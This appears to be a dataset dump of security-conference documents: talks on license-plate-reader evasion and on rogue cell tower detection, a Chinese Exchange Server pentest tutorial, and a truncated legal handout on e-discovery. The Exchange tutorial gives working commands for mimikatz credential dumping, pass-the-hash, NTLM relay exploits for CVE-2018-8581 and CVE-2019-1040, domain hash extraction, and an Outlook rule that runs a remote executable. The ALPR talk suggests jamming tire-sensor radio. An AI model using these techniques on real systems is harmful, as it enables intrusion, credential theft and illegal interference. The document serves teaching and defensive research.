text
stringlengths
100
9.93M
category
stringclasses
11 values
THE ROAD LESS SURREPTITIOUSLY TRAVELED @pukingmonkey DEF CON 21 THE LOSS OF LOCATIONAL PRIVACY WHILE TRAVELING IN YOUR AUTOMOBILE – Automatic License Plate Readers (ALPRs) – Snitch devices in your car • Transponder based Electronic Toll Collection (ETC) • GPS • Smart phones traffic apps • Dumb phones • Automatic tire pressure monitors DO YOU HAVE THE RIGHT TO TRAVEL? Interstate: YES. Saenz v. Roe (1999) the right to travel that is guaranteed by the Privileges or Immunities Clause of the Fourteenth Amendment. Intrastate: YES. But not as clear, it's usually derived from First Amendment freedom of association and Fifth Amendment due process protection. International: YES. Kent v. Dulles (1958) The right to travel is a part of the "liberty" of which a citizen cannot be deprived without due process of law under the Fifth Amendment. DO YOU HAVE THE RIGHT TO DRIVE? NO It is a privilege, not a right, that is regulated, must be granted (licensed) and can be revoked, according to the prevailing laws of every jurisdiction of the United States. DO YOU HAVE THE RIGHT TO ANONYMOUS TRAVEL? Mostly YES but it depends on your mode of travel, in the U.S. you are not required to carry ID except: • when driving, it requires licensing NO • taking a commercial flight NO • crossing a national border NO AUTOMATIC LICENSE PLATE READERS A system of cameras, computers and GPS that reads the license plates (OCR), and notes coordinates and time, they can be mobile or fixed locations. Can do about 3,000 plates/hour, on moving vehicles up to 130MPH. All data is saved and downloaded to a central repository. SOME ALPRS Some ALPRs NOT ALPRs (nor red light cam) NOT ALPRs (red light cam) WHAT’S THE BIG DEAL? Police have been “running” plates forever • Captures all plates in its field of vision • retained in databases along with pictures from 21 days to 5 years (depends on jurisdiction) • Enough APLRs and data points = tracked NYC: 108 fixed and 130 mobile APLRs as of 2009 • Impossible to opt-out IS IT LEGAL TO DO THIS WARRENTLESS TRACKING? YES • Hester v. United States (1924) An observation made by a police officer without a physical intrusion into a constitutionally protected area does not implicate the Fourth Amendment nor require a search warrant. • United States v. Martin (1986) A police officer who is lawfully present in an area may look into the windows of a parked car. • No reasonable expectation of privacy on your license plate in public • Police do not need a warrant to "run" your plate WAIT A MINUTE THE SUPREME COURT RULED A WARRENT IS NEEDED FOR GPS TRACKING YES BUT THIS IS DIFFERENT United States v. Jones (2012) what the court said is that a warrant is needed to place the tracking device on the vehicle, not the act of tracking it. I THOUGHT THE POLICE CANNOT USE ADVANCED SPY TECHNOLOGY WITHOUT A WARRENT YES AND NO • Kyllo v. United States (2001) infrared cannot be used to look inside a constitutionally protected area • Florida v. Riley (1989) aerial surveillance can be used • United States v. Lee (1927) artificial illumination can be used to aid observations • binoculars can be used (no Supreme Court case but Scalia has said it is OK) FEMA AS BEEN FUNDING LOCAL PDS 100% OF THE COST OF ALPRs ALPR DATA RETENTION • NH: general ban • ME: 21 day maximum for non-hit non-criminal investigations • NJ: must retain for a full 5 years, and then must destroy after 5 years • NYC: retained for 5 years. Even though general surveillance video is deleted after 21 days if no active investigation IS THE DATA PUBLIC OR OPEN TO LEGAL DISCOVERY? • Public? Maybe. Minneapolis released then recanted. GPS coordinates for their fixed readers was redacted. • Discovery? NY has what is known as Rosario material, “Any written or recorded statement…made by such witness…which relates to the subject matter of the witness’s testimony.” However NY claims that ALPR data is not a "statement" so therefore it is not Rosario, and not subject to discovery. ACTUAL LPR DATA (MOBILE UNIT) ACTUAL LPR DATA (FIXED REDACTED, THEN MOBILE) IT MAY NOT MATTER WHAT RETENTION LAWS ARE, AS THERE IS A COMMERCIAL MARKET • Vigilant Solutions. it’s only customers are Law Enforcement. Its in 28 Metro areas, >35 million reads/month, collected by non-law enforcement scout cars • Tow operators driving and scanning everything, looking for repo hits, but then sell the data. • Law Enforcement will just purchase the data BUILD A LICENCE PLATE READER DETECTOR • It uses infrared LEDs to illuminate the plate • Its always on, and it is always pulsating to try to get the best exposure • So we should be able to detect, by just using IR photodiodes right? • Had a few failures to work • Standard IR is 850nm. ELSAGs unit uses 735nm LEDS which near-IR (or far-red) 720nm IR PASS 730±30nm BANDPASS WHY STANDARD IR PHOTODIODES WON’T WORK Working basic ELSAG Circuit It eventually turned into this. The monkey screams When it detects an ALPR WHAT TO DO? Well Steve Jobs never had plates Creative Commons image flickr:lodev MAYBE LAW ENFORCEMENT CAN HELP Drive with the tail gate down? Yep seems to be a thing, different day WHAT DO COPS DO? • No front plate, even if required • Heavily mask the back plate with dark plastic or alternating Fresnel lenses • Drive with the tail gate down • Also tint you windows and windshield…. • You CANNOT do any of this legally • Don’t want any extra interaction with law enforcement TEMP TAGS TEMP TAGS • BE WARNED THAT NY TEMP TAGS ARE NOT HONORED IN MA, CAR WILL BE IMPOUNDED WHAT ARE THESE? No number VIN and Expiration date How de we get them? • CA you can drive a new car with no tags for 90 days (was 6 months while Jobs was alive) and cannot drive outside of CA • Most temp tags are only good 20 to 90 days • Registering you vehicle to a company hides you in a thin veil, but still plates are recorded • But do NOT get commercial tags PERILS OF COMMERCIAL PLATES WHAT IS HARDEST FOR ALPR • Non reflective plates – Crime to remove reflectivity in CA – Failed inspection in MA if you plate looses relectivity • Low contrast plates • Light red characters • With 3 or more stacked letters • Registration stickers that need to be placed close to the letters • 8 digit plates, smaller and narrower letters • Also no front plate, means half the chance of being read ONE VS. TWO PLATES STATES WITH LEGAL NON-REFLECTIVE PLATES LATEST MODEL YEAR FOR YOM OBSCURED PLATE OBSCURED PLATES “M” is not part of the plate number (with stacked letters) BUMPER GUARDS BUMPER GUARDS LEGALLY OBSCURED FRONT PLATES CAPTCHA PLATE • NO! DO NOT DO THIS, IT IS DOCUMNETS IR CAMERA WITH 735nm AND 850nm VISIBLE, IR VIEW, WITH IR BLOCK 850nm VISIBLE, IR VIEW, WITH IR BLOCK 850nm VISIBLE, IR VIEW, WITH IR BLOCK 850nm LIGHLTY SALTED PLATE VISIBILE, FLASH, IR 735nm HEAVILY SALTED PLATE VISIBILE, FLASH, IR 735nm NUMBER OF STACKED CHARACTERS NY (good) vs NJ (no good) 3 STACK STATES WITH SPECIAL CHARACTERS PLATE REPLACEMENT COST CHANGE YOUR PLATE NUMBER, CHANGE ALL YOUR PARKING PERMITS 8 CHARACTER PLATES ELECTRONIC TOLL COLLECTION TAGS • Always on • All ETC is 915Mhz in the US • Multiple non-compatible protocols – Interagency Group (IAG) (E-Zpass) – California Title 21 – Allegro – eGo • It’s RFID, some with battery asssit some without E-ZPASS TAG • 3.6V low draw, long life (10 year) battery • Device draws 8uA quiescent • Device draws 0.3mA when being read, transmitting • DO NOT DO THIS, IT IS NOT YOUR PROPERTY E-Z PASS READ DETECTION CIRCUIT Low side (shunt R1 between circuit and ground) E-ZPASS GETS READ UNDER THE SIGN, BUT NO TOLL AROUND HERE SO THAT’S WHY! NOT SO HIDDEN, BUT NO TOLL HERE E-ZPASS GETS READ AT 42nd & 8th TransCore Company can read all transportation formats, like ATA, eGo, IAG (reversed engineered), etc. PROBLEM WITH TAG BASED DETECTOR IS YOU MUST BE READ TO FIND THEM NEED A BETTER ONE 42nd & 8th WITH NEW DETECTOR • NYSDOT admits they use it for "travel time" signs • Who else gets and what happens to this data? • How long is it retained? WHAT TO DO? • Bag the tag, and only bring it out when you want to pay a toll. • If you have a sticker build a faraday cage box that you can swing open and shut • Remember the toll is tracking you too • It will become obvious to “watchers” you are doing this as you will be seen at tolls but no where else YOUR TIRES • Federal US TREAD (Transportation Recall Enhancement, Accountability and Documentation) law • Two different things happing here – Tire Pressure Monitoring System (TPMS) 315MHz transmitter at the valve stem, not the tire, this is part of the rim. Has a battery and a unique ID – RFID in the tires themselves, unique per tire • Michelin uses 915MHz • Goodyear uses 125kHz • Auto manufactures place the VIN in these RFIDs as well Creative Commons image wikipedia.org User:BMK Germany (http://en.wikipedia.org/wiki/File:Sicherheitsreifen_BMK.jp) WHAT TO DO? • Look for RFIDs and EMP them • Locally jam 315MHz in the wheel well OTHER RFID • Parking passes, it might be an hang tag or a sticker you had to put on the glass • Usually private, but found one municipally that put them in for residents to cut down on parking permit counterfeiting. It’s 915Mhz too. • Need to bag them too, if not in use, but a permit for public on street parking is a problem INRIX • collects position data from 100 million devices across 1.8 million miles of road • Google maps uses them for traffic • 6 of the 8 auto companies with built-in navigations systems (like Ford, BMW and Audi) • 8 of the 12 top navigation apps in Apple’s App Store (like MapQuest, Garmin, Microsoft and Telenav) • dumb phones, without GPS and internet connections are sharing location data with them through cell towers • Commercial truck fleets CONCLUSION • Salt the plate • Bag the tag • Zap and jam the tires • Turn ‘em off
pdf
【技术分享】Exchange渗透测试总结 本期安仔课堂,ISEC实验室的唐老师将为大家介绍Exchange相关知识点,欢迎感兴趣的 朋友一起交流学习。 一 、Exchange概述 Exchange是微软出品的邮件服务器系统,凭借其强大的功能优势被应用到很多企业、学校的 邮件系统搭建中。 截至目前,Exchange已有多个成熟版本,例如:Exchange Server 2010、2013、2016及最 新版本2019。此外,Exchange又可分为Exchange Server和Exchange Online ,为了方便, 本文将主要以本地Exchange Server 2010为例进行演示。 二、组成 首先,让我们一起了解下Exchange的结构组成。目前最新版本Exchange主要包含两个角色, 分别是邮箱服务器角色和边缘传输服务器角色。 2.1 邮箱服务器角色 ISEC安全e站 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第1页 共19页 2020/7/7 12:29 1.包含用于路由邮件的传输服务; 2.包含处理、呈现和存储数据的邮箱数据库; 3.包含接受所有协议客户端连接的客户端访问服务; http RPC over HTTP MAPI over HTTP pop3 imap4 um呼叫 4.包含向邮箱提供语音邮件和其他电话服务功能的统一消息(UM)服务。 2.2 边缘传输服务器角色 1.处理Exchange组织的所有外部邮件流; 2.通常安装在外围网络中,可订阅内部Exchange组织。当Exchange组织接收和发送邮件时, EdgeSync同步进程会向边缘传输服务器提供收件人信息和其他配置信息。 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第2页 共19页 2020/7/7 12:29 图1 其中,渗透测试人员最为关心Exchange对外提供的访问接口,以及使用的加密验证类型。 三、邮件访问形式 通过上面的介绍,我们可以了解Exchange Server支持的协议。接下来,我们学习如何通过对应客 户端访问这些协议。 3.1 相关接口 1.outlook客户端(MAPI协议) 2.outlook web app(以web形式访问 https://域名或ip/owa) 3.POP3和IMAP4(可以通过POP3协议利用其他客户端) 以下为目前默认的部分前端虚拟目录,可用于识别Exchange服务、密码枚举、或权限维持。 1.API(2016以后版本有效) 2.ecp Exchange(管理中心web形式访问https://域名或ip/ecp) 3.EWS(Exchange Web Services) 4.Autodiscover 5.MAPI 6.Microsoft-Server-ActiveSync 7.OAB(web形式访问https://域名或ip/oab) 8.owa 9.PowerShell 10.Rpc 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第3页 共19页 2020/7/7 12:29 图2 四、密码枚举 在无任意内网权限、用户账号权限时,可尝试对已知账号进行密码枚举。 密码枚举可以利用的接口: 1.Autodiscover(401认证NTLM Authenticate) 2.OWA(post表单) 3.EWS(401认证NTLM Authenticate) 4.Microsoft-Server-ActiveSync(401认证+base64) 结合部分社工手段可获取已知账号,如搜索intext:*@xxxx.com。 其中比较好用的一款Exchange密码枚举工具 图3 安装 图4 以ruler密码枚举模块为例进行演示。ruler是针对Exchange的半自动利用工具,其Brute功能 使用率较高,主要通过Autodiscover接口进行密码枚举。 准备用户名、密码字典:user.txt、pass.txt。 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第4页 共19页 2020/7/7 12:29 图5 以上为理想状态的测试情况,实际情况下需要足够多的账户密码,避免因过多尝试而冻结,还 可通过控制-delay参数,或burp进行密码枚举。 五、邮箱社工测试 5.1 通过钓鱼获取账户密码 为了提升员工安全意识,在渗透测试时,往往还会被要求做邮件钓鱼测试。钓鱼邮件内容不限,可 以自由发挥,如复制owa界面制作钓鱼页面等。 尝试伪造发件人,发送钓鱼邮件。 图6 在被测试的用户点击链接时提示会话超时,需重新登入。 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第5页 共19页 2020/7/7 12:29 图7 制作相同登入口,后端保存用户登入信息。 图8 针对这种钓鱼活动,很多环节都可以进行优化,如界面、提示、邮件语气等,这些都是决定测 试成功率的重要因素。 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第6页 共19页 2020/7/7 12:29 5.2 升级版钓鱼测试 5.1方式可能对谨慎用户无效,我们可以结合内网权限进行钓鱼测试。 这里我们使用到一款工具: 图9 该工具可实现中继ntlm协议,允许用户完成基于http的ntlm接口认证,并利用ews接口获取 数据。其核心功能源于impacket框架。 图10 大家有兴趣的可以自行研究。 首先我们尝试访问ews接口,系统提示401 NTLM Authenticate验证,我们现在要做的就是利 用已经登入系统的其他用户权限直接通过这个验证。 图11 构造邮件,引用已被控制的内网机器文件,或超链接。 图12 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第7页 共19页 2020/7/7 12:29 邮件原始内容 图13 在获取内网的机器上运行我们的ExchangeRelayX 图14 等待目标用户查看邮件,以下引用图片会在Exchange上产生提示。 图15 并且使用chrome浏览器时,加载该形式的资源会被阻止。 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第8页 共19页 2020/7/7 12:29 图16 使用IE浏览器,测试成功。 图17 当该图片加载,或者用户点击我们的超链接后,我们就能获取net-ntlm并绕过401认证。 图18 ExchangeRelayX web控制台 图19 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第9页 共19页 2020/7/7 12:29 验证通过后直接调用ews接口,由于实验环境Exchange版本问题,利用ExchangeRelayX封装 好的请求会加上sp2导致报错,因此这里以发送原始xml的形式进行演示: 获取收件箱soap请求 图20 邮箱渗透测试成功,我们获取到邮件内容信息。 图21 本文仅提供绕过验证的思路,对ews接口感兴趣的朋友可以到微软官方进行学习。 5.3 抓取ad明文或hash登入 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第10页 共19页 2020/7/7 12:29 这种方式较为常见,在已获取域控制权限的情况下,可直接通过mimikatz抓取需要登入 Exchange的明文,登入owa实现邮件读取等操作。 mimikatz.exe privilege::debug sekurlsa::logonPasswords full 图22 若未抓取到明文,可通过获取的ntlm-hash计算出ntlm挑战值来通过验证,或者利用 mimikatz将ntlm hash更新到内存中。 mimikatz.exe privilege::debug "sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxxxxxxxxxxxxxxxxxxxxx" 更新后在dir \\10.0.0.127\1.jpg下就又可以利用上面讲到的ExchangeRelayX来读取操作,或 者利用MailSniper。 图23 查看当前用户 图24 更新指定的ntlm-hash到内存 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第11页 共19页 2020/7/7 12:29 图25 发送net-ntlm到ExchangeRelayX 图26 通过ews接口认证 图27 5.4 劫持获取账号密码 5.4.1 利用js劫持owa登入口 若已获取域控权限或Exchange Server权限,便可直接修改登入口,利用js劫持点击事件。该形 式较为简单,这边不做过多介绍。 5.4.2 劫持ad 这种形式可通过插件劫持域控实现,具体大家可以参考以下项目: 图28 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第12页 共19页 2020/7/7 12:29 安装方法如下: 图29 六、邮件服务器的其他测 试 对邮件服务器的渗透测试,还有一些其他工具,如邮件内容或通讯录。同比手动登入owa等操作更 为高效。 图30 6.1 通讯录测试 图31 测试成功 图32 6.2 文件夹测试 图33 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第13页 共19页 2020/7/7 12:29 测试成功 图34 6.3 其他测试 获取当前用户包含pass关键字的邮件 图35 七、CVE-2018-8581 漏洞利用 这个漏洞利用一个可以正常登入的普通用户账户,通过ssrf调用Exchange Server凭证到已控制的 内网服务器上,并默认Exchange Server权限较高,就达到了提权的目的。 我们需要借助一款工具 图36 操作如下: 图37 拷贝privexchange.py到impacket的examples,已经获取的可以登入邮箱用户test,利用 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第14页 共19页 2020/7/7 12:29 ntlmrelayx.py建立中继, ntlmrelayx.py -t ldap://10.0.0.158 --escalate-user test 发起ssrf的攻击测试, python privexchange.py -ah 10.0.0.127 -u test -d test.com 10.0.0.237 其中ah指定中继的主机,后面指定exchange的域名或者IP。 图38 收到回调信息 图39 测试成功便会收到exchange server带凭证的请求,利用该权限即可提升test用户实现控制 域。 图40 最后我们可以导出域控的hash python secretsdump.py test.com/test@10.0.0.158 -just-dc 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第15页 共19页 2020/7/7 12:29 图41 八、Rules利用 通过上述手段我们可以获取exchange相关权限,若我们想对每个账号的使用人进行横向控制,便 可利用Rules and Alerts给指定账号创建规则,若客户端使用out look,将允许其下次登入时执行 这些规则,从而获取使用者pc权限。 使用工具创建规则,运行远程文件执行,相关参数参考如下: 图42 创建规则,触发关键字为shelltest。 图43 创建成功后需使用指定关键字进行触发。我们可以给邮箱发送包含关键字的邮件主题,触发执 行1.exe,如使用ruler发送带关键字的邮件。 图44 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第16页 共19页 2020/7/7 12:29 更新我们的impacket gti pull https://github.com/SecureAuthCorp/impacket ntlmrelayx.py --remove-mic -t ldap://10.0.0.158 --escalate-user test -smb2support 触发SpoolService的bug产生smb回连工具 https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py 其他等同2018-8581部分 两个漏洞的区别 2018-8581是利用exchange漏洞产生http->ldap中转实现的提权,2019-1040是产生的 smb->ldap中转,并且绕过mic检查。 以上关于exchange渗透测试知识点的总结,欢迎感兴趣的朋友一起交流沟通。 十、参考链接 九、CVE-2019-1040 利用 在这个漏洞之前利用smb转ldap时,有个mic检查导致无法中转成功,但利用这个CVE- 2019-1040漏洞就实现了直接绕过mic检查,这是这个漏洞的关键点。利用方法类似2018-8581 的形式。 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第17页 共19页 2020/7/7 12:29 图45 互了个动 小伙伴们, 本期内容到这里就结束啦, 你Get到了吗? 欢迎大家于文末留言, 分享你的宝贵见解、 疑问、补充~ 与ISEC实验室大神互动的机会来啦! 速速行动起来撒! 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第18页 共19页 2020/7/7 12:29 【技术分享】Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第19页 共19页 2020/7/7 12:29
pdf
Discovering+and+Triangulating+Rogue+Cell+Towers Eric%Escobar,%PE Security%Engineer What+is+a+rogue+cell+tower? • A+device+created+by+governments+or+hackers+that+has+the+ability+ to+trick+your+phone+into+thinking+it’s+a+real+cell+phone+tower. • Also+known+as+IMSI+catchers,+interceptors,+cell-site+simulators,+ Stingrays,+and+probably+a+few+more. • Rogue+cell+towers+have+the+ability+to+collect+information+ about+ you+indirectly+through+metadata (call+length,+dialed+numbers) • In+some+conditions+can+collect+content+of+messages,+calls,+and+ data. How+are+cell+simulators+used+today? At+Home+(In+the+United+States): • IMSI-catchers+are+used+by+US+law+enforcement+agencies+to+help+ locate,+track,+and+collect+data+on+suspects. • ACLU+has+identified+66+agencies+and+24+states+that+own+stingrays. • Used+to+monitor+demonstrations+in+the+US+ • Used+in+Chicago+political+protests • It’s+possible+to+make+an+IMSI-catcher+at+home+ • DEFCON+18:+Practical+Cellphone+Spying+ - Chris+Paget How+are+cell+simulators+used+today? Abroad: • Reported+use+in+Ireland,+UK,+China,+Germany,+Norway,+ South+Africa • Chinese+spammers+were+caught+sending+spam+and+ phishing+messages. • Used+by+governments+and+corporations+alike. What’s+the+IMSI+in+“IMSI-catcher”? • IMSI+stands+for+International+Mobile+Subscriber+Identity. • Is+used+as+a+means+of+identifying+a+device+on+the+cell+network. • Typically+15+digits+long • Contains+general+information+about+you+device+(Country+&+Carrier) • Mobile+Country+Code+– MCC • Mobile+Network+Code+– MNC • Mobile+Subscription+Identification+Number+– MSIN What’s+an+IMSI? IMSI+=+Unique+identifier+to+your+device Sample+IMSI: 3+1+0 2+6 0+1+2+3+4+5+6+7+8+9 MCC MNC MSIN USA AT&T Unique+Identifier Why you should care? • Your+phone+will+connect+automatically+to+cell+site+simulators. • Thieves+can+steal+your+personal+information. • Hacker’s+can+track+where+you+go,+who+you’re+talking+to,+and+grab+all+ sorts+of+other+data+about+you. • Your+digital+life+can+be+sniffed+out+of+the+air+by+anyone+with+some+ technical+chops,+and+a+laptop. • Your+company+could+be+leaking+trade+secrets. • Your+privacy+is+at+risk. Why+build+a+detector? • There+are+some+great+apps+for+Android+phones+and+that+have+the+ ability+to+detect+cell+tower+anomalies. • You+need+specific+phone+models+&+root+for+this+to+work • I+wanted+a+device+that+met+the+following+conditions: • Cheap+~$50/device • I+wanted+to+set+it+and+forget+it. • I+wanted+to+be+alerted+to+any+anomalies. • I+wanted+the+ability+to+network+multiple+devices+together. How+do+you+detect+a+rogue+cell+tower? • Every+cell+tower+(Base+Transceiver+Station,+BTS)+beacons+out+ information+about+itself • ARFCN+– Absolute+radio+frequency+channel+number • MCC+– Mobile+Country+Code • MNC+– Mobile+Network+Code • Cell+ID+– Unique+identifier+(within+a+large+area) • LAC+– Location+area+code • Txp – Transmit+power+maximum+ • Neighboring+ cells How+do+you+detect+a+rogue+cell+tower? • Typically+these+values+remain+constant: • ARFCN+– Absolute+radio+frequency+channel+number • MCC+– Mobile+Country+Code • MNC+– Mobile+Network+Code • Cell+ID+– Unique+identifier+(within+a+large+area) • LAC+– Location+area+code • Txp – Transmit+power+maximum+ • Neighboring+ cells • Power+level How+do+you+detect+a+rogue+cell+tower? • If+values+deviate+from+what’s+expected+it+can+mean+that+there+is+ maintenance+taking+place. • It+can+mean+changes+are+being+made+to+the+network. • It+could+also+mean+that+there+is+a+rogue+cell+tower+is+nearby! • The+idea+is+to+get+a+baseline+of+your+cellular+neighborhood+ over+a+ period+of+time. • It+would+be+like+keeping+an+eye+on+the+cars+that+come+in+and+out+ of+your+neighborhood,+ after+a+while+you+begin+to+know+which+ doesn’t+belong. How+do+you+detect+a+rogue+cell+tower? • Examples: • A+new+tower+(Unknown+Cell+ID),+high+transmission+power • Mobile+country+code+mismatch+ • Mobile+network+code+mismatch • Frequency+change • Location+Area+Code+mismatch+ How+do+you+locate+a+tower? • Combine+unique+cell+tower+data,+receive+power,+and+location. • One+detector+can+be+moved+around+ with+an+onboard+GPS • Readings+of+unique+tower+identifiers,+power+level+and+GPS+ coordinates+allow+for+a+single+detector+to+create+a+map. • Some+math,+open+source+GIS+software,+and+pretty+colors+can+ approximate+locations+of+towers+or+possible+rogue+towers How+do+you+locate+a+tower? How+do+you+locate+a+tower? • Multiple+detectors+with+known+locations+allow+for+trilateration+of+ the+suspected+rogue+tower. • Receive+power+and+distance+are+not+inversely+proportional • Regression+formulas+were+required+to+be+calculated+in+order+ to+fine+tune+the+results. • Less+accurate+but+still+pretty+good How+do+you+locate+a+tower? What’s+the+build? • Raspberry+Pi+3,+power+adapter,+SD+card+(running+stock+Raspbian) • SIM900+GSM+Module • Serial+GPS+module • TV+tuner+software+defined+radio • Scrap&wood&&&hot&glue& Brace+yourself…+ this+is+quite+literally+a+hack. SIM+900+Cell+ Module Scrap wood & hot glue Raspberry Pi GPS+Module Serial+to+USB Software+defined+radio (USB+TV+Tuner) SIM900 • SIM900+Engineering+mode • Seven+towers+with+the+highest+signal • Gives+you+a+ton+of+information+via a+serial+connection • No+SIM+card+is+required+for+ engineering+mode+ GPS+Serial • Adafruit Ultimate+GPS+module • Fixes+position+quickly. • Good+indoor+reception • Works+exactly+how+you+would+expect Raspberry+Pi+3 • Stock+Raspbian OS+(debian for+pi) • Pi+3+has+enough+power+to+run+a+SDR • Has+four+USB+ports+for+serial+adapters • Easily+powered+by+a+USB+battery+pack • $20+Software+defined+radio • Wide+range+of+frequencies • Github:+Gr-Gsm • Can+listen+to+raw+GSM+traffic • See+all+the+raw+frames • Not+necessary+for+locating+cell+towers • Provides+deeper+insights TV+Tuner Data+collection: • Everything+dumps+to+a+SQLite+database+for+later+use Questions?
pdf
When Lawyers Attack! - Dealing With the New Rules of Electronic Discovery John E. Benson, Esq. A Companion to the Presentations Given at Blackhat USA 2008 and DEFCON 15 August 2008 Author’s Note I hope that my talks and these materials help alleviate some of the confusion that has been created by the advent of electronic discovery. I chose to create this handout instead of posting my slides because they hold little value on their own. I am of the firm belief that presentations are conversations with the audience and that slides should enhance the experience, not be a substitute for it. I hope that this material will serve as a worthwhile supplement to our conversation. This is not intended to be an academic paper nor the definitive text on electronic discovery in any way (as you can see by the lack of references) and certainly shouldn’t be relied upon for any kind of legal advice. This is merely a collection of the major points which I believe everyone should understand after participating in my presentation. If you have any questions, please feel free to contact me at john@john-benson.com. The Current Environment of Law and Technology Of all the talks which I’ve either participated in or observed which involve the crossroads of law and technology, one common theme stands out amongst all others: frustration at the lack of guidance relating to the law of technology. Whether it be the standard for information which is not deemed to be reasonably accessible under the rules of civil procedure or the applicability of the fourth and fifth amendments to the use of encryption, the answer is consistently that we don’t know. This response can come as a real surprise, especially considering the consistent pattern amongst attorneys of having an answer for just about everything. The reasons for this ambiguity will become clear as we examine the nature of the common law system, as will the conclusion that these ambiguities have little chance of being cleared up any time soon. Progress, especially the technological kind, waits for no man and therefore anyone doing business in the United States or conducting information security research need to keep in mind a few rules. • The law always favors reasonable action • Courts frown upon those who act to subvert or circumvent the spirit of the law • Unless a person has the means and determination to truly challenge the law, always take the legal high ground Why Don’t We Know? The legal systems of the United States, Canada, the United Kingdom and many of the former British colonies have what is referred to as a common law system. Common law is developed through many incremental judicial decisions on questions which are brought before the court. It is uncommon to have one decision which will have sweeping effect upon many different factual situations, in fact in many instances decisions can be so narrow in their wording that they have little future applicability. When a case is brought before a common law court which raises a question of law1, previous cases are cited by litigants to persuade the court to apply a previous decision to the case at hand. In order for a court to make a ruling, there must be a true question of 1 It is important to contrast questions of law to questions of fact. A simple way to understand the difference between the two is to know that juries decide issues of fact and judges decide issues of law. During a trial, juries will be asked whether they find certain critical facts (elements) to be true or false. Based upon the factual findings of the jury, the law can then be applied to determine guilt in the criminal arena or liability in the civil arena. Another perspective which can be taken is often seen during popular courtroom dramas. When an attorney makes an objection to a question posed by opposing counsel the trial judge, not the jury, interprets the law based on the circumstances and either allows the question (overruling the objection) or requests that the question be withdrawn or rephrased (sustaining the objection). law. Unless a case reaches an appropriate level of the judicial system to be answered by the court it is difficult to know what the law on a particular subject actually is. A case with the highest presidential value and binding effect is one which has been decided by the US Supreme Court. At the other end of the spectrum is a decision by an individual judge at the District Court level. Many of the decisions regarding issues of technology and e- discovery occur at this lower level. This means that your milage from any decision regarding e-discovery and technology will vary greatly. Two subjects give us an excellent perspective on the principals of common law. The law of private property is relatively well settled and predictable due to the large number of property cases which have made their way through the legal system through the ages. It is not uncommon for a property dispute to be interpreted using cases which were handed down well over a century ago. This is not to say that new situations occur which require new rulings. The issue of true ownership of the baseball hit by Barry Bonds to eclipse the home run record held by Mark McGwire in 2001 was cited a great body of case law from as early as 1805 and the final resolution was based upon a concept utilized in a case decided in 1896.2 A stark contrast to the well settled rules of property law is that of Second Amendment law. Until June 26, 2008 it was unclear whether the Second Amendment to the Constitution actually confers upon the people an individual right to possess firearms.3 There have been very few cases which directly involved this question of law, therefore it remained unsettled for hundreds of years. While this system creates uncertainty before a ruling on an issue of law, it creates firm rules which can confidently be applied to future situations. Cases in the common law system create precedent and are binding on future courts and cases through starie decisis. The principal is that once a case has been decided, future courts must follow the reasoning of previous decisions. This gives individuals a framework around which they can approach a given situation. The concept that once settled, a decision cannot be truly overturned 2 Property law is far from exciting, but if you are interested in how cases are meshed together to create new interpretations, an excellent case is Lawrence v. Texas, 539 U.S. 558 (2003), which extended the right to privacy to homosexual activities within the home, opening the door to the hotly debated issue of gay marriage. 3 This is also an excellent example of how maddening the law can be to those not fully aware of its nuances. The Second Amendment is rather clear upon its face, however once lawyers and the courts become involved it suddenly takes more than 50 pages to explain an interpretation of 27 words. outside of extreme circumstances is missed by many individuals.4 Thusly, once a rule is promulgated, individuals may rely upon the case’s holding to guide their actions in perpetuity. One of the only instances where such a sweeping change to the law was made was the end of segregation in the case of Brown v. Board of Education. If you think this seems like a bizzare way of creating law, consider the situation where previous rulings could be perpetually vacated. In this instance, cases which were handed down based on this theoretical previous ruling would also have questionable effect and destroy all predictability and future applicability of any rule under the common law system. Cultural Hurdles The legal profession is relatively technology averse. Many attorneys, especially ones who handle large corporate litigation, don’t understand technology and its implications. Quite simply, they are missing many opportunities to find information about the data itself because their thinking is largely focused on the paper format. Even with the rule changes and increasing pressure to take technology seriously by some courts, many attorneys refuse to acknowledge that the world is different than it was as few as 10 years ago. As you read this, there are many cases which are proceeding where all exchange of information is conducted with paper and there are attorneys who will claim with all their strength that their area of law does not involve technology. The problem of a technological averse attorney is a difficult one to deal with for a number of reasons. Many of these attorneys have been practicing law for decades and are heralded as experts in their field. Their grasp on the underlying issues of a legal issue has not diminished in the least as a result of the emergence of e-discovery, but they fail to understand the breadth of information which exists both as a liability to their client as well as a potential asset in defeating claims. Attorneys who began their legal education during the 1980s and 1990s did so with full awareness of the booming business of technology and chose to take a 